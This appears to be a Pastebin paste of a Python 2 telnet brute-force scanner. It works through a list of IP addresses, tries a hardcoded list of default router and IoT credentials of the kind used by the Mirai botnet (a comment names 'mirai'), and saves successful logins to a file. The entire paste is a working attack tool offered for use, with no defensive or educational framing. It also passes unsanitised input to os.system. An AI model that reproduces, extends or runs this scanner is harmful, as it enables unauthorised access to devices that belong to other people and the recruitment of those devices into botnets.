Advertisement
Guest User

Untitled

a guest
Feb 19th, 2019
128
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.12 KB | None | 0 0
  1. #!/usr/bin/python2.7
  2.  
  3. import threading
  4. import sys, os, re, time, socket
  5. from Queue import *
  6. from sys import stdout
  7.  
  8. if len(sys.argv) < 4:
  9.     print "Usage: python "+sys.argv[0]+" <list> <threads> <output file>"
  10.     sys.exit()
  11.  
  12. combo = [
  13.     "root:root",
  14.     "root:admin",
  15.     "admin:root",
  16.     "root:toor",
  17.     "root:t0talc0ntr0l4!",
  18.     "root:anko",
  19.     "root:iDirect",
  20.     "n/a:smcadmin"
  21.     "admin:admin",
  22.     "root:vizxv",
  23.     "root:n/a",
  24.     "admin:n/a",
  25.     "root:xc3511",
  26.     "default:n/a",
  27.     "User:admin",
  28.     "guest:12345",
  29.     "admin:1234",
  30.     "admin:12345",
  31.     "admin:password",
  32.     "ubnt:ubnt",
  33.     "guest:guest",
  34.     "user:user",
  35.     "root:Zte521",
  36.     "default:OxhlwSG8",
  37.     "default:S2fGqNFs",
  38.     "admin:smcadmin"
  39.     "sysadm:sysadm",
  40.     "support:support",
  41.     "root:default",
  42.     "root:password",
  43.     "adm:n/a",
  44.     "bin:n/a",
  45.     "daemon:n/a",
  46.     "root:cat1029",
  47.     "admin:cat1029",
  48.     "admin:123456",
  49.     "root:antslq"
  50. ]
  51.  
  52. ips = open(sys.argv[1], "r").readlines()
  53. threads = int(sys.argv[2])
  54. output_file = sys.argv[3]
  55. queue = Queue()
  56. queue_count = 0
  57.  
  58. for ip in ips:
  59.     queue_count += 1
  60.     stdout.write("\r[%d] Added to queue" % queue_count)
  61.     stdout.flush()
  62.     queue.put(ip)
  63. print "\n"
  64.  
  65.  
  66. class router(threading.Thread):
  67.     def __init__ (self, ip):
  68.         threading.Thread.__init__(self)
  69.         self.ip = str(ip).rstrip('\n')
  70.     def run(self):
  71.         username = ""
  72.         password = ""
  73.         for passwd in combo:
  74.             if ":n/a" in passwd:
  75.                 password=""
  76.             else:
  77.                 password=passwd.split(":")[1]
  78.             if "n/a:" in passwd:
  79.                 username=""
  80.             else:
  81.                 username=passwd.split(":")[0]
  82.             try:
  83.                 tn = socket.socket()
  84.                 tn.settimeout(8)
  85.                 tn.connect((self.ip,23))
  86.             except Exception:
  87.                 tn.close()
  88.                 break
  89.             try:
  90.                 hoho = ''
  91.                 hoho += readUntil(tn, "ogin:")
  92.                 if "ogin" in hoho:
  93.                     tn.send(username + "\n")
  94.                     time.sleep(0.09)
  95.             except Exception:
  96.                 tn.close()
  97.             try:
  98.                 hoho = ''
  99.                 hoho += readUntil(tn, "assword:")
  100.                 if "assword" in hoho:
  101.                     tn.send(password + "\n")
  102.                     time.sleep(0.8)
  103.                 else:
  104.                     pass
  105.             except Exception:
  106.                 tn.close()
  107.             try:
  108.                 prompt = ''
  109.                 prompt += tn.recv(40960)
  110.                 if ">" in prompt and "ONT" not in prompt:
  111.                     success = True
  112.                 elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:
  113.                     success = True             
  114.                 else:
  115.                     tn.close()
  116.                 if success == True:
  117.                     try:
  118.                         os.system("echo "+self.ip+":23 "+username+":"+password+" >> "+output_file+"") # 1.1.1.1:23 user:pass # mirai
  119.                         print "success :: %s:%s :: %s"%(username, password, self.ip)
  120.                         tn.close()
  121.                         break
  122.                     except:
  123.                         tn.close()
  124.                 else:
  125.                     tn.close()
  126.             except Exception:
  127.                 tn.close()
  128.  
  129. def readUntil(tn, string, timeout=8):
  130.     buf = ''
  131.     start_time = time.time()
  132.     while time.time() - start_time < timeout:
  133.         buf += tn.recv(1024)
  134.         time.sleep(0.01)
  135.         if string in buf: return buf
  136.     raise Exception('TIMEOUT!')
  137.  
  138. def worker():
  139.     try:
  140.         while True:
  141.             try:
  142.                 IP = queue.get()
  143.                 thread = router(IP)
  144.                 thread.start()
  145.                 queue.task_done()
  146.                 time.sleep(0.02)
  147.             except:
  148.                 pass
  149.     except:
  150.         pass
  151.  
  152. for l in xrange(threads):
  153.     try:
  154.         t = threading.Thread(target=worker)
  155.         t.start()
  156.     except:
  157.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement